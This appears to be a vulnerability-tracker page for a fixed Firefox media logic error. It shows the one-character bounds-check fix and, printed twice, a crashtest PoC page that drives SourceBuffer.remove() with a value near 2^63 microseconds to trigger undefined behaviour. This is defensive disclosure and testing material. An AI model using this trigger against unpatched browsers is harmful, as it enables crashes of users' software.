Medium firefox Logic Error 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
Impactmoderate
DescriptionUndefined behavior in the Audio/Video component
ComponentDOM
Bug ClassLogic Error
Tracker2014865
Fix commit79bfbc088d67 (firefox) +93/-1
CISA KEVNot listed
CreditedEvyatar Ben Asher, Keane Lucas, Nicholas Carlini, Newton Cheng, Daniel Freeman, Alex Gaynor, and Joel Weinberger using Claude from Anthropic
Disclosed2026-03-24

Changed Functions

FunctionChangeNotes
for
dom/media/test/crashtests/2014865.html
modified

Files Changed

  • dom/media/TimeUnits.cpp
  • dom/media/test/crashtests/2014865.html
  • dom/media/test/crashtests/crashtests.list
diff --git a/dom/media/TimeUnits.cpp b/dom/media/TimeUnits.cpp
index fb8cd22700e..6e8e0ee3d9a 100644
--- a/dom/media/TimeUnits.cpp
+++ b/dom/media/TimeUnits.cpp
@@ -80,7 +80,7 @@ TimeUnit TimeUnit::FromSeconds(double aValue, int64_t aBase) {
   // base -- we can keep this for some time until we're confident this is
   // stable.
   double inBase = aValue * static_cast<double>(aBase);
-  if (std::abs(inBase) >
+  if (std::abs(inBase) >=
       static_cast<double>(std::numeric_limits<int64_t>::max())) {
     NS_WARNING(
         nsPrintfCString("Warning: base %" PRId64
diff --git a/dom/media/test/crashtests/2014865.html b/dom/media/test/crashtests/2014865.html
new file mode 100644
index 00000000000..4d78471bc65
--- /dev/null
+++ b/dom/media/test/crashtests/2014865.html
@@ -0,0 +1,91 @@
+<!DOCTYPE html>
+<html>
+<head><meta charset="utf-8"></head>
+<body>
+<script>
+/*
+ * Trigger TimeUnit::FromSeconds boundary overflow via MSE SourceBuffer.remove()
+ *
+ * Bug in dom/media/TimeUnits.cpp, FromSeconds():
+ *   double inBase = aValue * static_cast<double>(aBase);
+ *   if (std::abs(inBase) > static_cast<double>(INT64_MAX)) return Infinity;
+ *   return TimeUnit(static_cast<int64_t>(std::round(inBase)), aBase);
+ *
+ * static_cast<double>(INT64_MAX) rounds UP to 2^63. The check uses strict >,
+ * so inBase == 2^63 passes. static_cast<int64_t>(round(2^63)) is UNDEFINED
+ * BEHAVIOR (2^63 > INT64_MAX). On x86-64 it produces INT64_MIN (negative infinity),
+ * corrupting the TimeUnit. The Interval(start, end) constructor asserts start <= end;
+ * with end = -Inf and start = 0, the assertion fires.
+ */
+
+(async function() {
+  if (!window.MediaSource) return;
+
+  // Find a supported MSE type
+  const types = [
+    'audio/webm; codecs="opus"',
+    'video/webm; codecs="vp8"',
+    'video/webm; codecs="vp9"',
+    'audio/mp4; codecs="mp4a.40.2"',
+    'video/mp4; codecs="avc1.42E01E"',
+    'audio/mp4; codecs="flac"',
+  ];
+  let mimeType = null;
+  for (const t of types) {
+    if (MediaSource.isTypeSupported(t)) { mimeType = t; break; }
+  }
+  if (!mimeType) return;
+
+  // Create MediaSource and SourceBuffer
+  const ms = new MediaSource();
+  const video = document.createElement('video');
+  video.src = URL.createObjectURL(ms);
+  document.body.appendChild(video);
+  await new Promise(r => ms.addEventListener('sourceopen', r));
+  const sb = ms.addSourceBuffer(mimeType);
+
+  // Critical boundary value: 2^63 / 10^6 ≈ 9223372036854.776
+  // This is the value where inBase = value * 10^6 ≈ 2^63 exactly,
+  // which passes the > check but causes UB in static_cast<int64_t>
+  const criticalValue = 9223372036854.776;
+
+  // Set duration large enough to allow the remove
+  try { ms.duration = criticalValue + 1; } catch(e) {}
+
+  // Trigger the bug: remove(0, criticalValue) calls
+  // TimeUnit::FromSeconds(criticalValue) which overflows
+  try {
+    sb.remove(0, criticalValue);
+    await new Promise(r => {
+      sb.addEventListener('updateend', r, { once: true });
+      sb.addEventListener('error', r, { once: true });
+      setTimeout(r, 500);
+    });
+  } catch(e) {}
+
+  // Try a few more boundary values
+  const vals = [
+    Math.pow(2, 63) / 1e6,
+    9223372036854.775,
+    1e15,
+    1e16,
+    Number.MAX_SAFE_INTEGER,
+  ];
+  for (const val of vals) {
+    try {
+      if (ms.readyState !== 'open' || sb.updating) break;
+      ms.duration = Math.abs(val) + 1;
+      sb.remove(0, val);
+      await new Promise(r => {
+        sb.addEventListener('updateend', r, { once: true });
+        sb.addEventListener('error', r, { once: true });
+        setTimeout(r, 300);
+      });
+    } catch(e) {}
+  }
+
+  video.remove();
+})();
+</script>
+</body>
+</html>
diff --git a/dom/media/test/crashtests/crashtests.list b/dom/media/test/crashtests/crashtests.list
index e9756cfb3f0..5c2d0980006 100644
--- a/dom/media/test/crashtests/crashtests.list
+++ b/dom/media/test/crashtests/crashtests.list
@@ -194,3 +194,4 @@ load 2014824.html
 load 2014849.html
 load 2014841.html
 load 2014856.html
+load 2014865.html
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/dom/media/test/crashtests/2014865.html b/dom/media/test/crashtests/2014865.html
new file mode 100644
index 00000000000..4d78471bc65
--- /dev/null
+++ b/dom/media/test/crashtests/2014865.html
@@ -0,0 +1,91 @@
+<!DOCTYPE html>
+<html>
+<head><meta charset="utf-8"></head>
+<body>
+<script>
+/*
+ * Trigger TimeUnit::FromSeconds boundary overflow via MSE SourceBuffer.remove()
+ *
+ * Bug in dom/media/TimeUnits.cpp, FromSeconds():
+ *   double inBase = aValue * static_cast<double>(aBase);
+ *   if (std::abs(inBase) > static_cast<double>(INT64_MAX)) return Infinity;
+ *   return TimeUnit(static_cast<int64_t>(std::round(inBase)), aBase);
+ *
+ * static_cast<double>(INT64_MAX) rounds UP to 2^63. The check uses strict >,
+ * so inBase == 2^63 passes. static_cast<int64_t>(round(2^63)) is UNDEFINED
+ * BEHAVIOR (2^63 > INT64_MAX). On x86-64 it produces INT64_MIN (negative infinity),
+ * corrupting the TimeUnit. The Interval(start, end) constructor asserts start <= end;
+ * with end = -Inf and start = 0, the assertion fires.
+ */
+
+(async function() {
+  if (!window.MediaSource) return;
+
+  // Find a supported MSE type
+  const types = [
+    'audio/webm; codecs="opus"',
+    'video/webm; codecs="vp8"',
+    'video/webm; codecs="vp9"',
+    'audio/mp4; codecs="mp4a.40.2"',
+    'video/mp4; codecs="avc1.42E01E"',
+    'audio/mp4; codecs="flac"',
+  ];
+  let mimeType = null;
+  for (const t of types) {
+    if (MediaSource.isTypeSupported(t)) { mimeType = t; break; }
+  }
+  if (!mimeType) return;
+
+  // Create MediaSource and SourceBuffer
+  const ms = new MediaSource();
+  const video = document.createElement('video');
+  video.src = URL.createObjectURL(ms);
+  document.body.appendChild(video);
+  await new Promise(r => ms.addEventListener('sourceopen', r));
+  const sb = ms.addSourceBuffer(mimeType);
+
+  // Critical boundary value: 2^63 / 10^6 ≈ 9223372036854.776
+  // This is the value where inBase = value * 10^6 ≈ 2^63 exactly,
+  // which passes the > check but causes UB in static_cast<int64_t>
+  const criticalValue = 9223372036854.776;
+
+  // Set duration large enough to allow the remove
+  try { ms.duration = criticalValue + 1; } catch(e) {}
+
+  // Trigger the bug: remove(0, criticalValue) calls
+  // TimeUnit::FromSeconds(criticalValue) which overflows
+  try {
+    sb.remove(0, criticalValue);
+    await new Promise(r => {
+      sb.addEventListener('updateend', r, { once: true });
+      sb.addEventListener('error', r, { once: true });
+      setTimeout(r, 500);
+    });
+  } catch(e) {}
+
+  // Try a few more boundary values
+  const vals = [
+    Math.pow(2, 63) / 1e6,
+    9223372036854.775,
+    1e15,
+    1e16,
+    Number.MAX_SAFE_INTEGER,
+  ];
+  for (const val of vals) {
+    try {
+      if (ms.readyState !== 'open' || sb.updating) break;
+      ms.duration = Math.abs(val) + 1;
+      sb.remove(0, val);
+      await new Promise(r => {
+        sb.addEventListener('updateend', r, { once: true });
+        sb.addEventListener('error', r, { once: true });
+        setTimeout(r, 300);
+      });
+    } catch(e) {}
+  }
+
+  video.remove();
+})();
+</script>
+</body>
+</html>
diff --git a/dom/media/test/crashtests/crashtests.list b/dom/media/test/crashtests/crashtests.list
index e9756cfb3f0..5c2d0980006 100644
--- a/dom/media/test/crashtests/crashtests.list
+++ b/dom/media/test/crashtests/crashtests.list
@@ -194,3 +194,4 @@ load 2014824.html
 load 2014849.html
 load 2014841.html
 load 2014856.html
+load 2014865.html
Loading diff…